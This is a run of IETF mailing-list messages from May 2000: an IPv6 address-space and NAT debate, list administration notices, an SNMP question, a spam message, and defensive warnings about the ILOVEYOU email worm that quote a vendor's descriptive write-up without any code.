> causes him to have real problems with NAT, although it can
> suffer many of the mechanical problems, particularly if IPv6
> deliberately seeks to worsen the mechanical difficulties of NATv6.
> 
> This allows for the architectural features of NAT to be
> less awkwared to exploit.
> 
> | But if NATv4 doesn't cut it, I don't see how NATv6 between IPv6
> | sites cuts it either.
> 
> I hope this makes it clearer for you.

Given that we still don't have a global namespace available except
for NAT-free IPv6, it doesn't, since such a namespace is well
known to be required to avoid the "mechanical" problems with NAT.

So the problem Paul originally set us remains: we need to make IPv6
renumbering less painful that managing a NATted address space.

   Brian



From owner-ietf-outbound  Mon May  1 15:43:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA04165
	for ietf-outbound.10@ietf.org; Mon, 1 May 2000 15:42:10 -0400 (EDT)
Received: from mail-gw.hursley.ibm.com (mail-gw.hursley.ibm.com [194.196.110.15])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA04016
	for <ietf@ietf.org>; Mon, 1 May 2000 15:35:47 -0400 (EDT)
Received: from sp3at21.hursley.ibm.com (sp3at21.hursley.ibm.com [9.20.45.21]) by mail-gw.hursley.ibm.com (AIX4.3/UCB 8.8.8/8.8.8) with ESMTP id UAA26336; Mon, 1 May 2000 20:35:17 +0100
Received: from hursley.ibm.com (gsine02.us.sine.ibm.com [9.14.6.42]) by sp3at21.hursley.ibm.com (AIX4.2/UCB 8.7/8.7.3) with ESMTP id UAA20236; Mon, 1 May 2000 20:35:15 +0100 (BST)
Message-ID: <390DD7EB.DC80CBCB@hursley.ibm.com>
Date: Mon, 01 May 2000 14:15:55 -0500
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en,fr
MIME-Version: 1.0
To: Mathis Jim-AJM005 <Jim.Mathis@Motorola.com>
CC: ietf@ietf.org
Subject: IPv6: Past discussions repeated?
References: <7195C03599D9D311BE580008C75697EB105381@il33exm01.wes.mot.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Jim,

You make a good point. We have discussed this at length, as
Steve Bellovin described, during the original IPng debate.
Now is the time to deploy, not to discuss. It's hard to find
leadership in a herd of cats, but we have stable standards,
multiple products available or announced, and the IPv6 Forum
to provide the focus. Let's go do it.

   Brian

Mathis Jim-AJM005 wrote:
> 
> A brief history lesson...
> 
> There was some concern about a 32-bit address space.  MIT-LCS
> proposed 48 (or 64-bit) addresses but that was coupled with a
> reduction of the TCP sequence number to 16 bits.  After some
> discussion, we settled on 32-bits based on the computing
> resources available at the time.  At that time, there was no
> separate IP header, only addressing fields in the TCP header.
> 
> Around that time, the ARPANET had recently scaled up from
> 8-bit host addresses to 24-bits.  Seemed unlikely that anyone
> would build more than 100 ARPANET-sized networks with its huge
> IMPs and PDP-10 mainframe computers (and UCLA's 360).  48-bit
> Ethernet addressing wasn't around yet; otherwise we probably
> would have picked 64 bits just to not have to deal with ARP.
> This was before Moore's law; Intel had just released the
> 8008 microprocessor.  There were less than 100,000 large
> commercial buildings (>500,000 sq. ft) in the world; seemed
> that the number of class-c addresses were sufficient.  For
> better or worse, the size of the address field went unchanged
> from the original version of TCP (before IP was a separate
> header).
> 
> We were caught short by a technology paradigm shift coming
> from semiconductor physics.  If computers rode the same
> technology advancement curve as cars, we wouldn't be having
> an address space problem now.
> 
> We cannot predict the next big technology paradigm shift.
> The real lesson to learn from IPv4 - IPv6 (which I think
> was described by Knuth in regards to conversion of computer
> instruction sets but I can't find the reference) is the
> cost of delaying conversion.  For the longer you delay
> the inevitable, the more installed base you have to
> convert and the exponentially higher the resulting cost.
> 
> The excellent engineering to keep v4 running was too good
> and has slowed the inevitable movement to larger address
> spaces.  While there are no guarantees that 128-bits won't
> be exhausted sometime in the future, we do know a lot more
> about address space management and allocation than when Jon
> started handing out net numbers. The Internet has always
> been a balancing act between being ready for the future
> and getting something working today.  IPv6 will not change
> this, so we need to be prepared for change.  The next "big"
> problem facing the Internet that will require a broad-scale
> swap-out of software probably won't be address-space related.
> 
> We need to move forward with IPv6 both by deploying it in
> the "core" and setting a time-frame after which non-IPv4
> compatible addresses will be assigned.  Unless there is a
> clear reason to move, no one wants to change software just
> to change.  Once IPv6 is in the major backhaul carriers, ISPs
> can role out improved services based on IPv6 which will be
> the real reason end-users upgrade.  Seems like a real
> leadership vacuum here...
> 
> Jim
> 
> > -----Original Message-----
> > From: Keith Moore [mailto:moore@cs.utk.edu]
> > Sent: Monday, April 24, 2000 2:36 PM
> > To: Anthony Atkielski
> > Cc: ietf@ietf.org
> > Subject: Re: IPv6: Past mistakes repeated?
> >
> >
> > > What I find interesting throughout discussions that mention
> > IPv6 as a
> > > solution for a shortage of addresses in IPv4 is that people see the
> > > problems with IPv4, but they don't realize that IPv6 will
> > run into the
> > > same difficulties.  _Any_ addressing scheme that uses addresses of
> > > fixed length will run out of addresses after a finite
> > period of time,
> >
> > I suppose that's true - as long as addresses are consumed at a rate
> > faster than they are recycled.  But the fact that we will run out of
> > addresses eventually might not be terribly significant - the Sun will
> > also run out of hydrogen eventually, but in the meantime we still find
> > it useful.
> >
> > > and that period may be orders of magnitude shorter than anyone might
> > > at first believe.
> >
> > it is certainly true that without careful management IPv6 address
> > space could be consumed fairly quickly.  but to me it looks like that
> > with even moderate care IPv6 space can last for several tens of years.
> >
> > > Consider IPv4.  Thirty-two bits allows more than four billion
> > > individual machines to be addressed.
> >
> > not really.  IP has always assumed that address space would be
> > delegated in power-of-two sized "chunks" - at first those chunks only
> > came in 3 sizes (2**8, 2**16, or 2**24 addresses), and later on it
> > became possible to delegate any power-of-two sized chunk.  but even
> > assuming ideally sized allocations, each of those chunks would on
> > average be only 50% utilized.
> >
> > so every level of delegation effectively uses 1 of those 32 bits, and
> > on average most parts of the net are probably delegated 4-5 levels
> > deep.  (IANA/regional registry/ISP/customer/internal). so we end up
> > effectively not with 2**32 addresses but with something like 2**27 or
> > 2**28.  (approximately 134 million or 268 million)
> >
> > (see also RFC 1715 for a different analysis, which when applied to
> > IPv4, yields similar results for the optimistic case)
> >
> > allocating space in advance might indeed take away another few bits.
> > but given the current growth rate of the internet it is necessary.
> > the internet is growing so fast that a policy of always allocating
> > only the smallest possible chunk for a net would not only be
> > cumbersome, it would result in poor aggregation in routing tables and
> > quite possibly in worse overall utilization of address space.
> >
> > but if it someday gets easier to renumber a subnet we might then find
> > it easier to garbage collect, and recycle, fragmented portions of
> > address space.  and if the growth rate slowed down (which for various
> > reasons is possible) then we could do advance allocation more
> > conservatively.
> >
> > > It should be clear that IPv6 will have the same problem.  The space
> > > will be allocated in advance.  Over time, it will become
> > obvious that
> > > the original allocation scheme is ill-adapted to changing
> > requirements
> > > (because we simply cannot foresee those requirements).  Much, _much_
> > > sooner than anyone expects, IPv6 will start to run short of
> > addresses,
> > > for the same reason that IPv4 is running short.  It seems impossible
> > > now, but I suppose that running out of space in IPv4 seemed
> > impossible
> > > at one time, too.
> >
> > IPv6 allocation will have some of the same properties of IPv4
> > allocation.  We're still using power-of-two sized blocks, we'll still
> > waste at least one bit of address space per level of delegation.  It
> > will probably be somewhat easier to renumber networks and recycle
> > address - how much easier remains to be seen.
> >
> > OTOH, I don't see why IPv6 will necessarily have significantly more
> > levels of assignment delegation.  Even if it needs a few more levels,
> > 6 or 7 bits out of 128 total is a lot worse than 4 or 5 bits
> > out of 32.
> >
> > > The allocation pattern is easy to foresee.  Initially, enormous
> > > subsets of the address space will be allocated carelessly and
> > > generously, because "there are so many addresses that we'll
> > never run
> > > out"
> >
> > I don't know where you get that idea.  Quite the contrary, the
> > regional registries seem to share your concern that we will use up
> > IPv6 space too quickly and *all* of the comments I've heard about the
> > initial assignment policies were that they were too conservative.
> > IPv6 space does need to be carefully managed, but it can be doled out
> > somewhat more generously than IPv4 space.
> >
> > > and because nobody will want to expend the effort to achieve
> > > finer granularity in the face of such apparent plenty.
> >
> > First of all, having too fine a granularity in allocation prevents you
> > from aggregating routes.  Second, with power-of-two sized allocations
> > there's a limit to how much granularity you can get - even if you
> > always allocate optimal sized blocks.
> >
> > > This mistake will be repeated for each subset of the address space
> > > allocated, by each organization charged with allocating the space.
> >
> > It's not clear that it's a mistake.  it's a tradeoff between having
> > aggregatable addresses and distributed assignment on one hand and
> > conserving address space on the other.  and the people doing address
> > assignment these days are quite accustomed to thinking in these terms.
> >
> > > If you need further evidence, look at virtual memory address spaces.
> > > Even if a computer's architecture allows for a trillion bits of
> > > addressing space, it invariably becomes fragmented and
> > exhausted in an
> > > amazingly short time.
> >
> > this is only amazing to those who haven't heard of Moore's law.
> > (presumably the same set of people who thought DES would
> > never be broken)
> >
> > on the other hand, it's not clear how valid this analogy is for
> > predicting the growth of the Internet - just because Moore's law (if
> > it keeps on working) might predict that in a decade we could
> > eventually have thousands of network-accessible computing devices for
> > everyone on the planet, doesn't mean that those people would be able
> > to deal with thousands of such devices.  and there do appear to be
> > limits to the number of human beings that the planet can support.  and
> > if by that time the robot population exceeds the human population then
> > I'm happy to let the robots solve the problem of upgrading to a new
> > version of IP.
> >
> > and as for other planets, all kinds of assumptions about the current
> > Internet fail when you try to make it work at interplanetary
> > transmission latencies.  so if we do manage to significantly populate
> > other planets or if we find extraterrestrial species that we want to
> > network with, we'll have to build a new architecture.  and people are
> > already working on that.
> >
> > > The only real solution to this is an open-ended addressing
> > scheme--one
> > > to which digits can be added as required.
> >
> > variable length addresses do have some nice properties.  there are
> > also some drawbacks.
> >
> > fwiw, phone numbers do in fact have a fixed maximum length which is
> > wired into devices all over the planet - not just in the phone system
> > but in numerous computer databases, etc..  it is not much easier to
> > increase the overall length of phone numbers than it is to make IP
> > addresses longer.  and once you set a fixed maximum length then it's
> > just a matter of representation - do you have a variable-length
> > address field or do you have a fixed-length field with zero padding?
> > fixed-length fields are a lot easier for routers to deal with.  (and
> > for similar reasons a lot of software uses fixed-length fields for
> > phone numbers)
> >
> > 128-bit IPv6 addresses are roughly equivalent to 40 digits, which IIRC
> > is a lot longer than the maximum size of a phone number under E.164.
> > (sorry, I don't have a copy handy to check)
> >
> > and the means by which IPv6 addresses are being allocated is actually
> > not so different from the means in which phone numbers are allocated -
> > the major exception being that IPv6 prefixes are assigned to major
> > ISPs rather than to geographic regions.  (the latter difference might
> > affect routing but probably does not affect allocation efficiency).
> >
> > so I think the bottom line answer to your message is that your concers
> > are valid (if perhaps a bit exaggerated) and an allocation mechanism
> > similar to what you suggest is already in place.
> >
> > Keith
> >



From owner-ietf-outbound  Mon May  1 16:21:30 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA05085
	for ietf-outbound.10@ietf.org; Mon, 1 May 2000 16:20:03 -0400 (EDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA04944
	for <ietf@ietf.org>; Mon, 1 May 2000 16:12:53 -0400 (EDT)
Message-Id: <200005012012.QAA04944@ietf.org>
From: The IETF Secretariat <ietf-secretariat@ietf.org>
To: ietf@ietf.org
Subject: IETF List maintenance
Reply-to: ietf-request@ietf.org
Date: Mon, 01 May 2000 16:12:52 -0400
Sender: scoya@cnri.reston.va.us
X-Loop: ietf@ietf.org


To remove yourself from the IETF discussion list, send a message to
ietf-request@ietf.org

Enter just the word unsubscribe in the body of the message.

NOTE: List requests do not take effect until the next day, and there
      are always messages in the outbound queue. As such, you may 
      continue receiving messages for a short while after successfully
      unsubscribing from the list.



The IETF discussion list serves two purposes. It furthers the
development and specification of Internet technology through discussion
of technical issues. It also hosts discussions of IETF direction,
policy, and procedures. As this is the most general IETF mailing list,
considerable latitude is allowed. Advertising, whether to solicit
business or promote employment opportunities, falls well outside the
range of acceptable topics, as do discussions of a personal nature.

This list is meant for initial discussion only. Discussions that fall
within the area of any working group or well established list should be
moved to such more specific forum as soon as this is pointed out,
unless the issue is one for which the working group needs wider input
or direction.

In addition to the topics noted above, appropriate postings include: 

o Last Call discussions of proposed protocol actions 
o Discussion of technical issues that are candidates for IETF work, but
  do not yet have an appropriate e-mail venue
o Discussion of IETF administrative policies 
o Questions and clarifications concerning IETF meetings. 

Inappropriate postings include: 
o Unsolicited bulk e-mail 
o Discussion of subjects unrelated to IETF policy, meetings,
  activities, or technical concerns
o Unprofessional commentary, regardless of the general subject. 

The IETF Chair, the IETF Executive Director, or a sergeant-at-arms
appointed by the Chair is empowered to restrict posting by a person or
of a thread as they deem appropriate to limit abuse. Complaints
regarding their decisions should be referred to the IAB <iab@iab.org>



From owner-ietf-outbound  Tue May  2 16:31:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA08424
	for ietf-outbound.10@ietf.org; Tue, 2 May 2000 16:30:01 -0400 (EDT)
Received: from tux.w3.org (IDENT:root@tux.w3.org [18.29.0.27])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA08226;
	Tue, 2 May 2000 16:22:17 -0400 (EDT)
Received: from rupert (IDENT:root@localhost [127.0.0.1])
	by tux.w3.org (8.9.3/8.9.3) with SMTP id QAA09685;
	Tue, 2 May 2000 16:21:52 -0400
Message-Id: <4.1.20000502151501.00b5f2c0@127.0.0.1>
X-Sender: hjelm@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Tue, 02 May 2000 16:20:25 -0400
To: paf@swip.net, ned.freed@innosoft.com, lm@att.com,
        wap-wag-uaprof@mail.wapforum.org, wap-wpg@mail.wapforum.org,
        comments@i-cap.org, ietf-announce@ietf.org, ietf@ietf.org,
        ietf-medfree@IMC.ORG, http-wg@hplb.hpl.hp.com, rescap@cs.utk.edu,
        confctrl@isi.edu, srvloc@srvloc.org, w3c-html-wg@W3.ORG, symm@W3.ORG,
        www-mobile@W3.ORG, Koen.Holtman@cern.ch, joshco@Exchange.Microsoft.com,
        jim.gettys@compaq.com, ph@W3.ORG
From: Johan Hjelm <hjelm@W3.ORG>
Subject: Invitation: CC/PP Protocol Discussion List
Cc: w3c-ccpp-wg@W3.ORG, www-ccpp-protocol@W3.ORG
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

Dear All, 
as you may know, we designed the CC/PP Exchange Protocol to take care of
the interchange of CC/PP data structures between an HTTP client and a HTTP
server. In the current version it is an application of the HTTP Extension
Protocol. 

That, and the fact that it is only a Note in the W3C (a document without
official standing) makes its status somewhat insecure. We want to
investigate the possibilities of bringing it onto the standards track, and
as a first step, we have created a version of the specification in the RFC
format as focal point for discussion. 

The address of the list is www-ccpp-protocol@w3.org. You subscribe by
sending an email to www-ccpp-protocol-request@w3.org with the word
"subscribe" in the subject of the message (without the quotes). 

We hope interested parties will participate in the discussion on this list
to establish a more formal version of this protocol. 

Welcome!

Johan Hjelm
Chair, CC/PP working group, W3C
(apologies for multiple postings!)

For more information: 
CC/PP Exchange Protocol as a W3C Note: http://www.w3.org/TR/NOTE-CCPPexchange
CC/PP Exchange Protocol in RFC format:
http://lists.w3.org/Archives/Public/www-ccpp-protocol/2000Apr/att-0001/01-dr
aft-ietf-ohto-ccpp-exchange-00.txt
CC/PP original W3C Note: http://www.w3.org/TR/NOTE-CCPP/
CC/PP working group public home page: http://www.w3.org/Mobile/CCPP/ 
************************************************************
                         Johan HJELM
      Ericsson Research, User Applications Group 
         Currently visiting engineer at the W3C
Chair, CC/PP Working Group and WCA Interest Group
             The World Wide Web Consortium
                         hjelm@w3.org
   http://www.w3.org/People/W3Cpeople.html#Hjelm
    Fax +1-617-258 5999, Phone +1-617-253-9630
   MIT/LCS, 545 Tech. Sq. Cambridge MA 02139 USA 
        Opinions are personal, always my own, 
  and not necessarily those of Ericsson or the W3C. 
============================================================



From owner-ietf-outbound  Thu May  4 02:21:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA29930
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 02:20:02 -0400 (EDT)
Received: from wiproecmx2.wipro.com ([164.164.31.6])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA29907
	for <ietf@ietf.org>; Thu, 4 May 2000 02:17:39 -0400 (EDT)
Received: from ecvwall1.wipro.com (ecvwall1.wipro.com [192.168.181.23])
	by wiproecmx2.wipro.com (8.9.3/8.9.3) with SMTP id LAA15641
	for <ietf@ietf.org>; Thu, 4 May 2000 11:55:34 GMT
Received: from wipro.com ([192.168.178.17]) by ecmail.wipsys.soft.net
          (Netscape Messaging Server 3.6)  with ESMTP id AAA306A;
          Thu, 4 May 2000 11:41:36 +0530
Message-ID: <391116AC.CF1AC68A@wipro.com>
Date: Thu, 04 May 2000 11:50:28 +0530
From: "Shivendra Kumar" <shivendra.kumar@wipro.com>
Reply-To: shivendra.kumar@wipro.com
Organization: Wipro Technologies
X-Mailer: Mozilla 4.6 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
CC: Sanjay Gera <sanjay.gera@fnc.fujitsu.com>,
        Shivendra Kumar <shivendra.kumar@wipro.com>,
        Ram Durai <ram.durai@fnc.fujitsu.com>,
        Sreedhar J K <sreedhar.jayaram@wipro.com>,
        Abhishek Bagchi <abhishek.bagchi@wipro.com>,
        Amit Srivastava <amit.srivastava@fnc.fujitsu.com>
Subject: query on SNMP set PDU and row creation mechanism
Content-Type: multipart/mixed;
 boundary="------------1D6A63C3351EE5FED646B54F"
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.
--------------1D6A63C3351EE5FED646B54F
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi ,

 This is Shivendra and I am working on SNMP interfaces for a optical
network NE.
 We are providing row creation mechanism on SNMP tables using SMI v2
directives( using
   RowStatus).   In the Set Pdu , we want to allow the requests for
multiple row creations over
  same/different tables. We would like to know how this is being done by
people who have already
  implemented Set command support . So, we have basically three
questions:
1. How can multiple row creation request in a single Set PDU be handled?

2. How would we enable multiple row creation over different tables , if
the tables are dependent
 on each other?
3. Is it a good practice to allow multiple row creation request for
same/different tables thru
  one Set PDU?



regards,
shivendra

--
------------------------------------------------------------------------

                                                Shivendra Kumar
   22, 8th Main,                        Wipro Infotech- Telecom Sols.
   1st Cross,                             72, Electronics City
   Maruthi HBCS,                     Bangalore
   BTM Layout 1st Stage,
   B'lore
   mobile-98440-92528            hello(off) -0091-80-8520408/420 extn.
2108
                                                 fax- 0091-80-8520478
                  mail@ - shivendra.kumar@wipro.com
------------------------------------------------------------------------

           My three warriors - perseverance, smile and hope.

------------------------------------------------------------------------



--------------1D6A63C3351EE5FED646B54F
Content-Type: text/x-vcard; charset=us-ascii;
 name="shivendra.kumar.vcf"
Content-Description: Card for Shivendra Kumar
Content-Disposition: attachment;
 filename="shivendra.kumar.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Kumar;Shivendra
tel;cell:98440-92528
tel;work:0091-80-8520420  extn 2107
x-mozilla-html:FALSE
org:Wipro Technologies;Telecom Solutions
version:2.1
email;internet:shivendra.kumar@wipro.com
title:Systems Manager
adr;quoted-printable:;;72, Keonics Electronics city =0D=0AHosur Main Road,=0D=0ABangalore- 561229;Bangalore;;;India
fn:Shivendra Kumar
end:vcard

--------------1D6A63C3351EE5FED646B54F--



From owner-ietf-outbound  Thu May  4 04:40:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id EAA01102
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 04:40:02 -0400 (EDT)
Received: from mail.virtualpostman.com (kopl300051.virtualpostman.com [164.109.30.222])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA00984
	for <ietf@ietf.org>; Thu, 4 May 2000 04:30:05 -0400 (EDT)
Message-Id: <200005040830.EAA00984@ietf.org>
Received: from 10.100.48.21 (10.100.48.21:1454) by mail.virtualpostman.com (LSMTP for Windows NT v1.1b) with SMTP id <21.0005E027@mail.virtualpostman.com>; Thu, 4 May 2000 4:27:58 -0400
From: "Winvite.com" <invite@winvite.com>
To: ietf@ietf.org
Subject: Helen Kolesnikova invites you to Win $4,500
Date: Thu, 4 May 2000 04:30:13 -0400
X-Mailer: Allaire ColdFusion Application Server
X-Loop: ietf@ietf.org


Hi Friend,

Take a few seconds to answer 3 survey questions and Win $4,500 from Winvite.com. 

If you win $4,500, I win $4,500 too.  It's 100% free, see for yourself.

CLICK HERE:  http://www.winvite.com/index.cfm?ref=helenvdp@soft.farlep.net

- Helen Kolesnikova

__________________________________________________
This email was sent to you through the Winvite.com (formerly Mailbonus.com) website by:

Your Friend,  Helen Kolesnikova at helenvdp@soft.farlep.net





From owner-ietf-outbound  Thu May  4 06:50:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id GAA02083
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 06:50:02 -0400 (EDT)
Received: from arcc.or.ke (root@[212.49.87.254])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA01956
	for <ietf@ietf.org>; Thu, 4 May 2000 06:38:28 -0400 (EDT)
Received: from 199.2.222.254 ([212.49.87.154])
	by arcc.or.ke (8.9.3/8.9.3) with SMTP id NAA16943
	for <ietf@ietf.org>; Thu, 4 May 2000 13:58:26 +0300 (EAT)
Date: Thu, 4 May 2000 13:58:26 +0300 (EAT)
Message-Id: <200005041058.NAA16943@arcc.or.ke>
X-Sender: musandu@199.2.222.254
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: ietf@ietf.org
From: Musandu <musandu@arcc.or.ke>
Subject: Internet Financial Devices are mostly proprietary
X-Loop: ietf@ietf.org


Most of the time when you subscribe to a financial service on the internet,
e.g a digital wallet or peripheral device for charging debit cards,  your
money becomes proprietary i.e you spend it only as allowed by the service
provider or charging of financial debit devices can only be under taken
using technology developed by the financial services vendor in question.

Does the Internet Engineering Task Force have an interest in encouraging
Open Financial Systems and Peripheral Devices for the internet?

This would allow the a wide market variety for people using these
technologies as well as change over alternatives when a financial services
vendor proves unreliable.

Yours sincerely,
Nyagudi Musandu



From owner-ietf-outbound  Thu May  4 09:31:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA05719
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 09:30:02 -0400 (EDT)
Received: from localhost.localdomain (IDENT:root@[204.214.6.250])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA05662
	for <ietf@ietf.org>; Thu, 4 May 2000 09:27:42 -0400 (EDT)
Received: from tech20 ([204.214.6.254])
	by localhost.localdomain (8.9.3/8.8.7) with SMTP id JAA04601;
	Thu, 4 May 2000 09:26:39 -0400
From: "Scot Mc Pherson" <smcpherson@clearaccess.net>
To: <isp-wireless@isp-wireless.com>, <ietf@ietf.org>
Subject: VIRUS WARNING
Date: Thu, 4 May 2000 09:27:19 -0400
Message-ID: <00cf01bfb5cc$79bc4280$4cc8a8c0@clearaccess.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
In-Reply-To: <200005031840.NAA29189@benjamin.lisco.com>
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

The is an e-mail virus going around. The subject of the e-mail is
ILOVEYOU...I suggest you delete it the moment you receive it.

-Scot Mc Pherson, N2UPA
-Sr. Network Analyst
-ClearAccess Communications
-Ph: 941.744.5757 ext. 210
-Fax: 941.744.0629
-mailto:smcpherson@clearaccess.net
-http://www.clearaccess.net



From owner-ietf-outbound  Thu May  4 10:40:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA06942
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 10:40:02 -0400 (EDT)
Received: from localhost.localdomain (IDENT:root@[204.214.6.250])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA06811
	for <ietf@ietf.org>; Thu, 4 May 2000 10:35:02 -0400 (EDT)
Received: from tech20 ([204.214.6.254])
	by localhost.localdomain (8.9.3/8.8.7) with SMTP id KAA04877;
	Thu, 4 May 2000 10:34:00 -0400
From: "Scot Mc Pherson" <smcpherson@clearaccess.net>
To: <isp-wireless@isp-wireless.com>, <ietf@ietf.org>,
        "Brian Duddy (E-mail)" <bduddy@clearaccess.net>,
        "Kevin Speilman (E-mail)" <KevinS@Wi-LAN.com>,
        "Michael F. Young (E-mail)" <MY@ydi.com>,
        "Perry Lewis (E-mail)" <PLewis@Wire-less-Inc.com>,
        "Robert E Sollmann (E-mail)" <TimberdoodleHouse@compuserve.com>,
        "Roger Shepheard (E-mail)" <rogers@dscga.com>
Subject: RE: VIRUS WARNING
Date: Thu, 4 May 2000 10:34:37 -0400
Message-ID: <00dc01bfb5d5$e0414a60$4cc8a8c0@clearaccess.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
In-Reply-To: <00cf01bfb5cc$79bc4280$4cc8a8c0@clearaccess.net>
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

The file subject: ILOVEYOU
Name of attachment: LOVE-LETTER-FOR-YOU.TXT.vbs

DO NOT OPEN THE ATTACHMENT.

At this time very little is known about the virus. If you have opened the
file, please see your network administrator for help.

The following link to Symantec has info on what the file does to your
system.

http://www.symantec.com/avcenter/venc/data/vbs.loveletter.a.html



Since the webpage is too busy to access I am copying the text portions of
the webpage here

VBS.LoveLetter.A
This is an email worm, mIRC worm, and file infector.

Also known as:

Category: Worm

Infection length: 10307

Virus definitions: Pending

Threat assessment:


Damage:
High
Distribution:
High
Wildness:
High


Wild

Number of infections: More than 1000
Number of sites: More than 10
Geographic distribution: High
Threat containment: Moderate
Removal: Moderate


Damage Payload:

Large scale e-mailing: All the addresses in Microsoft Outlook address book
Degrades performance: May clog mail servers
Distribution

Subject of e-mail: ILOVEYOU
Name of attachment: LOVE-LETTER-FOR-YOU.TXT.vbs
Size of attachment: 10307
Technical description:

This is a preliminary writeup. The information contained within is to
provide as much information as possible at this time.

VBS.LoveLetter.A is an email worm, mIRC worm, and a file infector.
VBS.LoveLetter.A will use Microsoft Outlook and email itself out as an
attachment with the above subject line and attachment name. The body of the
message will be

kindly check the attached LOVELETTER coming from me.

The virus will also infect files with the following extensions: vbs, vbe,
js, jse, css, wsh, sct, hta, jpg, jpeg, mp3, and mp2

The virus will insert the following files:

MSKernel32.vbs in the Windows System directory


Win32DLL.vbs in the Windows directory

LOVE-LETTER-FOR-YOU.TXT.vbs in the Windows System directory

WinFAT32.EXE in the Internet download directory

WIN-BUGSFIX.EXE in the Internet download directory

script.ini in the mIRC directory

SARC recommends Administrators filter on the attachment name and Subject
line immediately.

This writeup will be verified and formalized within the hour.

Removal:

Delete found infected files.



Write-up by: Eric Chien
Updated: May 4, 2000
  Tell a Friend about this Write-Up






-----Original Message-----
From: Scot Mc Pherson [mailto:smcpherson@clearaccess.net]
Sent: Thursday, May 04, 2000 9:27 AM
To: isp-wireless@isp-wireless.com; ietf@ietf.org
Subject: VIRUS WARNING


The is an e-mail virus going around. The subject of the e-mail is
ILOVEYOU...I suggest you delete it the moment you receive it.

-Scot Mc Pherson, N2UPA
-Sr. Network Analyst
-ClearAccess Communications
-Ph: 941.744.5757 ext. 210
-Fax: 941.744.0629
-mailto:smcpherson@clearaccess.net
-http://www.clearaccess.net



From owner-ietf-outbound  Thu May  4 10:50:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA07165
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 10:50:02 -0400 (EDT)
Received: from torque.pothole.com ([209.94.126.195])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA07089
	for <ietf@ietf.org>; Thu, 4 May 2000 10:46:41 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by torque.pothole.com (8.8.2/8.8.8) with SMTP id KAA02601
	for ietf@ietf.org; Thu, 4 May 2000 10:48:12 -0400 (EDT)
Message-Id: <200005041448.KAA02601@torque.pothole.com>
X-Authentication-Warning: torque.pothole.com: localhost [127.0.0.1] didn't use HELO protocol
To: <ietf@ietf.org>
Subject: Re: VIRUS WARNING 
In-reply-to: Your message of "Thu, 04 May 2000 09:27:19 EDT."
             <00cf01bfb5cc$79bc4280$4cc8a8c0@clearaccess.net> 
Date: Thu, 04 May 2000 10:48:12 -0400
From: "Donald E. Eastlake 3rd" <dee3@torque.pothole.com>
X-Mts: smtp
X-Loop: ietf@ietf.org


The whole world does not run software which is a good culture medium
for email viruses.  I mostly use nice old UNIX software and it would
take a number of extra steps on my part for some embdedded virus to
get a chance to run.  If your software automatically executes stuff
in attachments, you need to change your software, not develope a list
of subject lines you are freightened of.

Donald

From:  "Scot Mc Pherson" <smcpherson@clearaccess.net>
To:  <isp-wireless@isp-wireless.com>, <ietf@ietf.org>
Date:  Thu, 4 May 2000 09:27:19 -0400
Message-ID:  <00cf01bfb5cc$79bc4280$4cc8a8c0@clearaccess.net>
Content-Type:  text/plain;
	      	charset="iso-8859-1"
Content-Transfer-Encoding:  7bit
X-MSMail-Priority:  Normal
X-MimeOLE:  Produced By Microsoft MimeOLE V5.00.2314.1300
Importance:  Normal
In-Reply-To:  <200005031840.NAA29189@benjamin.lisco.com>
Content-Transfer-Encoding:  7bit
